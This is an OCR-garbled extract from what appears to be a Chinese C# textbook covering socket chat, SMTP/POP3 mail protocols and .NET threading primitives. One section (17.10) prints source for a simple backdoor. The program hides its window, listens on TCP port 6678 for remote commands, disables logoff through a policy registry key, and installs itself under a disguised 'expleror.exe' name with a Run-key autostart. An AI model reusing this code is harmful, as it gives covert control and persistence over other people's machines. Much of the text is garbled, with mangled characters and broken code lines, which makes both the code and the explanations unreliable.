Server[PAndPort = new IPEndPoint(ServerIP, int.Parse(ServerPort));
try
{
Client.Connect(ServerIPAndPort); //
RichTxtReceive.Text += string. Format("[ 1 {0y, "

BtnConnect.Enabled = false;

BtnSend.Enabled = true;

ReceiveWorkThread = new Thread(new ThreadStart(ReceiveMsg));
ReceiveWorkThread.Start();

b

catch (SocketException)
{

RichTxtReceive.Text += string. Format("[ 1 {0y "

}

ReceiveMsg

private void ReceiveMsg()
{
while (IsListener)
{
try
{
ClientWorkStreame= Client.GetStream();  //
iCount = ClientWorkStreame.Read(bReceiveValue, 0,
bReceiveValue.Length);
if (iCount !=0)
{

\n');

)

\n");

sReceiveValue = Encoding.Default. GetString(bReceiveValue,

0, iCount);
RichTxtReceive. Text += string. Format("[ ]
sReceiveValue);

}
catch (System.IO.IOException)

{

RichTxtReceive.Text += string. Format("[ 1 {0}",

IsListener = false;

{0}\n",

\n");
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23. }
24. }
25. }
7 cc >
01. rivate void BtnSend_Click(object sender, EventArgs e)
02. {
03. sSendValue = RichTxtSend.Text. Trim();
04. if (sSendValue !="")
05. {
06. ClientWorkStreame = Client.GetStream();
07. bSendValue = Encoding.Default.GetBytes(sSendValue);
08. ServerWorkStreame. Write(bSendValue, 0, bSendValue.Length);
09. RichTxtReceive.Text += string.Format("[ 1 {0}\n", sSendValue);
10. ClientWorkStreame.Close();
11. Client.Close();
12. }
13. }
8 F5 “ 7z

17.9 HBFHIXRRER

17.9.1  SH-YHRFRGHBKR X
1. EREEEH

Internet

2. SMTP %1 POP3

TCP/IP SMTP POP3
SMTP TCP/IP SMTP Client/Server TCP 25
POP3 Post Office Protocol 3 TCP/IP POP3
Client/Server TCP 110

3. SMTP #1 POP3 f9 T{E/RIE

Foxmail Outlook
SMTP/POP3
SMTP
1 TCP SMTP 25
2 HELLO SMTP
3 SMTP
4 SMTP OK
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5 MAIL SMTP
6 SMTP OK
7 RCPT SMTP
OK
8 SMTP OK DATA
9 QUIT
POP3
1 TCP 110
2 USER POP3
3 PASS POP3
4 STAT
5 LIST
6 RETR DELETE
7 QUIT

17.9.2 Microsoft MAPI Control ¥

E-mail
MAPI Mail Scheduling bulletin board
communication MAPI MAPI
Session Session Client MAPI
MAPI Address Books Transport Message Store Address
Books E-mail type protocol Transport
Message Store
MAPI Session control ~ MAPI Message control property
property mail
17.9.3 {#8 POP3 izt
POP3 POP3
POP TCP 110
POP3 POP3 Client/Server Client
Server Server

Foxmail
Foxmail TCP/IP ——POP
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FTP
POP
Foxmail Foxmail
TCP/IP Internet OSI TCP/TP
TCP/IP TCP/IP
100 IP Internet Protocol TCP
UDP IP TCP UDP
TCP/IP
Foxmail POP IE DNS
1P POP TCP
1P Internet
17.10 INBEH
SR
MEAS:
I E H#Y:
1
2 Socket
3
4
5
MEPER
1 C#  Windows ““ShowlIn
Taskbar”” False ““Windowstate””
Mininized InitializeComponent()

private void InitializeComponent()
{
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//
this.Name = "Form1";
//
this.ShowInTaskbar = false;
this. Text = "Form1";
this. WindowState = System.Windows.Forms.FormWindowState.Minimized;
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2

public Form1() //
{
InitializeComponent();
// TODO:  InitializeComponent
/I
/I
int port =6678;
//System.Net.Sockets.TcpListener TCP
listener = new TcpListener(port);
/1
listener. Start();
/I Thread.abort()
/*reControlCode
*/
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();

}

private void reControlCode()

{

// listener. AcceptSocket
socket = listener.AcceptSocket();

/!

while (socket.Connected)

{
"

byte [] by =new byte[6];

int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding. ASCII.GetString(by);
/!

/!

switch (ss)

{

case "jiance": /

string str ="hjc";

byte [] bytee = System.Text.Encoding. ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;

case "zx1000":

/I

UnLogOff();

/!

retMessage();

break;

case "zx0100":

/I

UnClose();

/!

retMessage();

break;
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// case
default:
break;

¥

¥

h

3 C# NET System.Microsoft. Win32

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\ Explorer NoLogOff 1
C#

private void UnLogOff()
{
/1
Microsoft. Win32.RegistryKey rLocal = Registry.LocalMachine;
/1
RegistryKey keyl;
try
{
/* RegistryKey.OpenSubkey(string registrykey,bool canwrite)
registrykey canwrite  True Fasle */
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" true);
/I
keyl.SetValue ("NoLogOff",1);
/1
key1.Close();
/1
mystr = mystr +"HKEY LOCAL MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies
\\Explorer Nologoff o
}
catch{}
/1
if(keyl ==null)
{
try
{
// RegistryKey.CreateSubKey(string mystring)
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Polici
es\\Explorer");
key2.SetValue("NoLogOff",1);

key2.Close();
mystr = mystr +"HKEY LOCAL MACHINEWSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Po
licies\\Explorer Nologoff o1
}
catch{}
H
}
4
System\System32

D C:\\winnnt\\system\\msdoss.exe NET
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System.IO
System.IO.File

private void moveCC1()
{
try
{
/ File.Move(string sourceFileName,string destFileName)
//sourceFileName destFileName
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
/!
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(keyl ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\Windows\\CurrentVersion\\Run");
keyl.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
}

17.11 E7]151BM|R

Socket
TCP UDP SMTP POP3

17.12 F1RE5 CillsRis

Rk
1 jsNewCentury@126.com “c i “
7 = £ .doc R
www.haol23.com 1000

UDP www.haol23.com 1000
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3096 1] TCP R3S imAvSCHR

[SRIEEK]
Ping Ping 1P
[ B8]
1 1P
2 1P
3 Socket
[ZLEAR]
IPHostEntry HostName  AddressList

1

2 IPEndPoint
3 Socket

o

[3¢5 2]  BUEEREBAINIKRES

[LIEEK]
UDP

[Z®EM]

1 UdpClient  Receive

2 [PEndPoint
[SEpE]

1 GetMessage()

UdpClient

2 SendMessage()
UdpClient
Send

IPEndPoint

219 8
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% }E Thread X;

T #% Monitor . Mutex % F= ReaderWriterLock % ;

T #% ThreadPool 2. WaitHandle £ #= AutoResetEvent % ;
¥ 4& Timer £,

18.1 ki

UNIX
1. ZKIEREER
Windows Windows 2000

2. BEIZMBLIE

CPU CPU
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3. ZLIEENET B9 TE
NET NET Main()
NET

18.2 System.Threading SS3=EIH

NET System.Threading
Monitor Mutex
Thread ThreadPool
/0 Timer
18.3 Thread %
System.Threading. Thread
Thread.Start()
Thread.Suspend()
Thread.Resume()
Thread.Interrupt() Wait Sleep Join
Thread.Join()
Thread.Sleep()
Thread.Abort() Thread.Start()
Thread.Sleep Thread.Suspend Thread.Join / Sleep()
Suspend () CPU Sleep()
Suspend()
Sleep() Suspend()
Thread.Resume()
Suspend() Resume()
Thread.Sleep(int x) X
Thread.Interrupt() Thread.Abort()
Thread.Interrupt()

ThreadInterupptedException
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Thread.Interrupt()  Thread.Abort()

Thread.Abort()
Thread AbortException
Thread.ResetAbort()
A Thread.Abort() B
B Thread.ResetAbort() Thread.Abort()
Thread.Abort() Thread.Abort()

Thread.Join() Thread.Join()

Thread.Interrupt()
Thread.Join()
Suspend()
Thread.Priority() Thread.Suspend()
Thread
Thread.IsAlive
True False
Thread.Name
Thread.Priority
Thread. ThreadState

18.4 Monitor 2

Monitor
Monitor

3 Monitor

3
Monitor

1. Monitor.Enter 1 Monitor.Exit

Monitor.Enter
Monitory.Exit
lock

2. Monitor.Wait 7%
Monitor. Wait
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3. Monitor.Pulse /5%

Pulse

using System;
using System.Collections;
using System.Threading;

namespace MonitorCS2

{
class MonitorSample
{
/
private Queue m_inputQueue;
public MonitorSample()
{
m_inputQueue = new Queue();
5
/

//Add an element to the queue and obtain the monitor lock for the queue object.
public void AddElement(object qValue)

{
!l
Monitor.Enter(m_inputQueue);
!
m_inputQueue.Enqueue(qValue);
!
Monitor.Exit(m_inputQueue);
}
/1
public bool AddElementWithoutWait(object qValue)
{
if(!Monitor. TryEnter(m_inputQueue))
return false;
m_inputQueue.Enqueue(qValue);
Monitor.Exit(m_inputQueue);
return true;
}
/
public bool WaitToAddElement(object qValue, int waitTime)
{
if(!Monitor. TryEnter(m_inputQueue,waitTime))
return false;
m_inputQueue.Enqueue(qValue);
Monitor.Exit(m_inputQueue);
return true;
}
/1

//Delete all elements that equal the given object and obtain the monitor lock for the queue object.
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public void DeleteElement(object qValue)
{
Monitor.Enter(m_inputQueue);
int counter = m_inputQueue.Count;
while(counter > 0)
{
object elm = m_inputQueue.Dequeue();
if(!elm.Equals(qValue))
{
m_inputQueue.Enqueue(elm);
b
--counter;
¥
Monitor.Exit(m_inputQueue);
}
/l
public void PrintAllElements()
{
Monitor.Enter(m_inputQueue);
[Enumerator elmEnum = m_inputQueue.GetEnumerator();
while(elmEnum.MoveNext())
{
Console. WriteLine(elmEnum.Current. ToString());
}
Monitor.Exit(m_inputQueue);
}
static void Main(string[] args)

{

MonitorSample sample = new MonitorSample();

for(int i = 0; 1 < 30; i++)
sample.AddElement(i);
sample.PrintAllElements();
sample.DeleteElement(0);
sample.DeleteElement(10);
sample.DeleteElement(20);
sample.PrintAllElements();

18.5 Mutex &

System.Threading Mutex
Mutex
Mutex
Mutex. WaitOne() Mutex Mutex
Mutex.ReleaseMutex()
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Mutex

C#
C# Process

findwindow Mutex

Mutex
C# program.cs

[STAThread]
static void Main()

{

[STAThread]

static void Main()

{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());

[STAThread]
static void Main()

{
bool isAppRunning = false;

System.Threading. Mutex mutex = new System.Threading. Mutex(

True,
System.Diagnostics.Process.GetCurrentProcess().ProcessName,
out isAppRunning);
if (lisAppRunning)
{
MessageBox.Show("
Environment.Exit(1);

}

else

{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());

H

18.6 ReaderWriterLock &

lock

225 8o

VB.NET

Mutex

API
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NET ReaderWriterLock

ReaderWriterLock

using System;
using System.Threading;

public class Test

{
/1
static ReaderWriterLock rwl = new ReaderWriterLock();
/1 rwl

static int resource = 0;
const int numThreads = 25;
static bool running = true;
static Random rnd = new Random();
static int readerTimeouts = 0;
static int writerTimeouts = 0;
static int reads = 0;
static int writes = 0;
public static void Main(string[] args)
{
//
Thread[] t = new Thread[numThreads];
for (int i = 0; i < numThreads; i++)
{
t[i] = new Thread(new ThreadStart(ThreadProc));
t[i].Name = new String(Convert.ToChar(i + 65), 1);
t[i].Start();
if i>10)
Thread.Sleep(300);
}
//
running = false;
for (int i = 0; i < numThreads; i++)
{
t[i].Join();
}
Console.WriteLine("\r\n{0} reads, {1} writes, {2} reader time-outs, {3} writer time-outs.",reads,
writes, readerTimeouts, writerTimeouts);
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}

static void ThreadProc()
{
while (running)
{
double action = rnd.NextDouble();
if (action < .8)
ReadFromResource(10);
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else if (action < .81)
ReleaseRestore(50);

else if (action < .90)
UpgradeDowngrade(100);

else
WriteToResource(100);
b
H
static void ReadFromResource(int timeOut)
{
try
{
rwl.AcquireReaderLock(timeOut);
try
{
Display("reads resource value " + resource);
Interlocked.Increment(ref reads);
}
finally
{
rwl.ReleaseReaderLock();
b
H
catch (ApplicationException)
{
Interlocked.Increment(ref readerTimeouts);
H
}
static void WriteToResource(int timeOut)
{
try
{
rwl.Acquire WriterLock(timeOut);
try
{
resource = rnd.Next(500);
Display("writes resource value " + resource);
Interlocked.Increment(ref writes);
b
finally
{
rwl.ReleaseWriterLock();
}
}
catch (ApplicationException)
{
Interlocked.Increment(ref writerTimeouts);
}
}
static void UpgradeDowngrade(int timeOut)
{
try

{

227 8
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rwl.AcquireReaderLock(timeOut);

try

{

Display("reads resource value " + resource);
Interlocked.Increment(ref reads);

try
{
LockCookie Ic = rwl.UpgradeToWriterLock(timeOut);
try
{
resource = rnd.Next(500);
Display("writes resource value " + resource);
Interlocked.Increment(ref writes);
H
finally
{
rwl.DowngradeFromWriterLock(ref Ic);
}
b
catch (ApplicationException)
{
Interlocked.Increment(ref writerTimeouts);
H

Display("reads resource value " + resource);
Interlocked.Increment(ref reads);

b
finally
{
rwl.ReleaseReaderLock();
b
b
catch (ApplicationException)
{
Interlocked.Increment(ref readerTimeouts);
}
b
static void ReleaseRestore(int timeOut)
{
int lastWriter;
try
{
rwl.AcquireReaderLock(timeOut);
try
{

int resourceValue = resource;

Display("reads resource value " + resourceValue);
Interlocked.Increment(ref reads);

lastWriter = rwl. WriterSeqNum;

LockCookie Ic = rwl.ReleaseLock();
Thread.Sleep(rd.Next(250));
rwl.RestoreLock(ref Ic);

if (rwl. AnyWritersSince(lastWriter))

{
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resourceValue = resource;
Interlocked.Increment(ref reads);
Display("resource has changed " + resourceValue);

}
else
{
Display("resource has not changed " + resourceValue);
}
}
finally
{
rwl.ReleaseReaderLock();
H
}
catch (ApplicationException)
{
Interlocked.Increment(ref readerTimeouts);
b
H
static void Display(string msg)
{
Console.Write("Thread {0} {1}.\r", Thread.CurrentThread.Name, msg);
H

18.7 ThreadPool

CPU

ThreadPool

25

QueueUserWorkItem
WaitCallback
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public void afunction(object o)

{
¥
{
WaitCallback myCallback = new WaitCallback (afunction);
ThreadPool.QueueUserWorkItem (myCallback);
}
ThreadPool.RegisterWaitForSingleObject System.
Threading. WaitHandle System.Threading. WaitOr-TimerCallback
WaitHandles
WaitOrTimerCallback WaitHandle
ManualResetEvent
WaitOrTimerCallback

public void afunction(object o)

{

}

{
ManualResetEvent aevent = new ManualResetEvent (false);
WaitOrTimerCallback thread method = new WaitOrTimerCallback (afunction);
anObject myobj = new anObject();
int timeout_interval = 100;
bool onetime exec = true;
ThreadPool.RegisterWaitForSingleObject(aevent,thread method,myobj,timeout
interval,onetime_exec);
aevent.Set();

}

QueueUserWorkItem  RegisterWaitForSingleObject

ThreadPool.UnsafeRegisterWaitForSingleObject ThreadPool.Unsafe
QueueUserWorkltem

Timer-queue timers and registered wait operations

NET
(0]
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18.8 WaitHandle Z&

WaitHandle win32
WaitHandle
WaitHandle
Mutex
AutoResetEvent
ManualResetEvent
signaled nonsignaled signaled nonsignaled
set Reset
WaitHandle
WaitAll
WaitAny
WaitOne WaitHandle
Wait
WaitHandle
Monitor Monitor

using System;
using System.Threading;
namespace Examples. AdvancedProgramming. AsynchronousOperations
{
public class AsyncMain
{
static void Main()
{
int threadld;
AsyncDemo ad = new AsyncDemo();
AsyncMethodCaller caller = new AsyncMethodCaller(ad.TestMethod);
IAsyncResult result = caller.Beginlnvoke(3000,
out threadld, null, null);
Thread.Sleep(0);
Console.WriteLine("Main thread {0} does some work.",
Thread.CurrentThread.ManagedThreadlId);
result. AsyncWaitHandle. WaitOne();
string returnValue = caller.EndInvoke(out threadld, result);
Console.WriteLine("The call executed on thread {0}, with return value \"{1}\".",
threadld, returnValue);

18.9 AutoResetEvent Z&

mscorlib.DLL



B 232

NET Framework 2.0
EventResetModel. AutoReset

AutoResetEvent
Set  AutoResetEvent

Bool
True

CENITER G

EventWaitHalder AutoResetEvent
EventWaitHandle AutoResetEvent

WaitOne AutoResetEvent
Set
AutoResetEvent

AutoResetEvent

False

1 using System;

2 using System.Collections.Generic;
3 using System.ComponentModel;
4 using System.Data;

5 using System.Drawing;

6 using System.Ling;

7 using System.Text;

8 using System.Windows.Forms;

9 using System.Threading;

10

11 namespace WindowsFormsApplication2
12 {

13 public partial class Form2 : Form
14 {

15 // <summary>

16 I H— AT R EEER

17 // </summary>

18 double firstNumber = 0;

19 // <summary>

20 VA ety en g SIS S

18 // </[summary>

22 double secondNumber = 0;
23 // <summary>

24 I =g R

25 // </summary>

26 double thirdNumber = 0;

27

28 // <summary>

29 I Z IR SN R LRAR AS A
30 // </summary>

31 AutoResetEvent[] autoResetEvent = null;
32

33 // <summary>

34 /] BENLAZ BT

35 /l </summary>

36 Random random = null;

37

38 public Form2()



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
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InitializeComponent();

TG B E AR RGeS = AR B AT B EEIRES
autoResetEvent = new AutoResetEvent[]{
new AutoResetEvent(false),
new AutoResetEvent(false),
new AutoResetEvent(false)
55
}

private void buttonl Click(object sender, EventArgs e)
{
MessageBox.Show(SimuValue(Int32.Parse(this.textBox 1. Text)). ToString());

}

// <summary>

IR AN UE

// </summary>

// <param name="stateInfo"></param>
void SimuFirstNumber(object stateInfo)

{
double v = random.NextDouble();
double p = random.NextDouble();
firstNumber = v * p;
IR BB ERZ RS R B RL RS, AT — BSR4k 4k
autoResetEvent[0].Set();
}

// <summary>

I L AN

/l </summary>

// <param name="stateInfo"></param>
void SimuSecondNumber(object stateInfo)

{
double v = random.NextDouble();
double p = random.NextDouble();
secondNumber = v * p;
autoResetEvent[1].Set();

}

// <summary>
IR =ARE
/l </summary>
// <param name="stateInfo"></param>
void SimuThirdNumber(object stateInfo)
{
double v = random.NextDouble();
double p = random.NextDouble();

thirdNumber = v * p;
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92
93 autoResetEvent[2].Set();
94 }
95
96 // <summary>
97 11 PR BUE 3R
98 // </[summary>
99 // <param name="v"></param>
100 double SimuValue(int v)
101 {
102 random = new Random(v);
103
104 IR 2 8RR E =N 40l
105 ThreadPool.QueueUserWorkItem(new WaitCallback(SimuFirstNumber));
106 ThreadPool.QueueUserWorkItem(newWaitCallback(SimuSecondNumber));
107 ThreadPool.QueueUserWorkItem(new WaitCallback(SimuThirdNumber));
108
109 AR =R e
110 WaitHandle.WaitAll(autoResetEvent);
111
112 return firstNumber * secondNumber * thirdNumber;
113 }
114 }
115}
116
AutoResetEvent

1 .Set()

2 ReSet()

3 WaitOne() WaitHandle

18.10 Timer &

Timer C#
1 System.Windows.Forms
2 System.Threading. Timer
3 System.Timers. Timer
System.Windows.Forms. Timer WinForm Windows
VB  Delphi Timer API  SetTimer
Console Application( )
System.Timers. Timer  System.Threading. Timer NET Thread Pool
System.Timers. Timer
WinForm Timer
System.Timers. Timer Timers
/ Timer 10000ms
System.Timers.Timer t = new System.Timers.Timer(10000);
/1

t.Elapsed += new System.Timers.ElapsedEventHandler(theout);
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t.AutoReset = true; /! False (True)
t.Enabled = true; // System.Timers. Timer.Elapsed

System.Timer

1 public class BF CheckUpdate

2 {

3 private static object LockObject = new Object();
4

5 ! Timer

6 private static Timer CheckUpdatetimer = new Timer();
7

8 !

9 private static int CheckUpDateLock = 0;

10

11 1

12 " Timer

13 1

14 internal static void GetTimerStart()

15 {

16 // 10min

17 CheckUpdatetimer.Interval = 600000;

18 /1 Timer

19 CheckUpdatetimer.Enabled = true;

20 //

18 CheckUpdatetimer.Elapsed += new ElapsedEventHandler (CheckUpdatetimer Elapsed);
22 //

23 CheckUpdatetimer.AutoReset = true;

24 }

25

26 private static void CheckUpdatetimer Elapsed(object sender, ElapsedEventArgs e)
27 {

28 !

29 lock (LockObject)

30 {

31 if (CheckUpDateLock == 0) CheckUpDateLock = 1;
32 else return;

33 }

34

35 //

36 Check();

37 //

38 lock (LockObject)

39 {

40 CheckUpDateLock = 0;

41 }

42 }

43 3
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PictureBox picDrawLine TextBox
txtThreadProcSafe Label IbISpanTime 18-2

T

18-2

2 FrmMain_Load 5% #6140 — LX) 5
FrmMain demoThread demoThreadTime  InitTime

private Thread demoThread = null;
private Thread demoThreadTime = null;
private int span = 10;
private int linePosY = 150;
private int rndSpan = 50;

private DateTime InitTime;

FrmMain_Load FfF4b3 ik siplth, FFE30T44%.

private void FrmMain_Load(object sender, EventArgs e)

{
this.demoThread = new Thread(new ThreadStart(this. ThreadProcSafe));
this.demoThread.Start();
InitTime = DateTime.Now;
this.demoThreadTime = new Thread(new ThreadStart(this. ThreadProcSafe2));
this.demoThreadTime.Start();

3 ThreadProcSafe SetText

private void ThreadProcSafe()
{

Random rnd = new Random();
Graphics g = this.picDrawLine.CreateGraphics();



F18F BAABA 237 8

int oldPointX, oldPointY, newPointX, newPointY’;

oldPointX = newPointX = 0;

oldPointY = newPointY = rnd.Next(linePosY - rndSpan, linePosY + rndSpan);

while (true)

{
g.DrawLine(new Pen(Brushes.Gainsboro, 1), new Point(0, linePosY), new Point(picDrawLine. Width,
linePosY));
newPointX = oldPointX + span;
newPointY = rnd.Next(linePosY - rndSpan, linePosY + rndSpan);
g.DrawLine(new Pen(Brushes.RoyalBlue, 2), new Point(oldPointX, oldPointY), new
Point(newPointX, newPointY));
g.FillEllipse(Brushes.Peru, new Rectangle(new Point(newPointX, newPointY), new Size(3, 3)));
if (newPointY > 150)
g.DrawString(Convert. ToString(newPointY - linePosY), new Font(" ", 8), Brushes.ForestGreen,
new Point(newPointX - 2, newPointY + 5));
else
g.DrawString(Convert. ToString(newPointY - linePosY), new Font(" ", 8), Brushes.Purple,
new Point(newPointX - 2, newPointY - 15));
oldPointX = newPointX;
oldPointY = newPointY;
if (oldPointX > picDrawLine. Width)
{

g.Clear(Color.WhiteSmoke);
oldPointX = 0;
}
this.SetText(string.Format("X:{0} Y:{1}", newPointX.ToString(), newPointY - linePosY));

Thread.Sleep(100);

}

private void SetText(string text)

{
if (this.txtThreadProcSafe.InvokeRequired)

{
SetTextCallback d = new SetTextCallback(SetText);

this.Invoke(d, new object[] { text });

this.txtThreadProcSafe. Text = text;

ThreadProcSafe2 7775 i+ 5 HFER), M SetTimeSpan /774 i 7x Hi ok
private void ThreadProcSafe2()

{
while (true)
{
TimeSpan ts = DateTime.Now - InitTime;
this.SetTimeSpan("#E/: "+ts. ToString()+" #");
Thread.Sleep(200);
}
5

private void SetTimeSpan(string text)

{
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if (this.IblSpanTime.InvokeRequired)

{
SetTextCallback stc = new SetTextCallback(SetTimeSpan);
this.Invoke(stc, new object[] { text });
}
else
this.IbISpanTime.Text = text;
}
5
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
if (demoThread.ThreadState == ThreadState.Suspended)
demoThread.Resume();
demoThread.Abort();
demoThreadTime.Abort();
}
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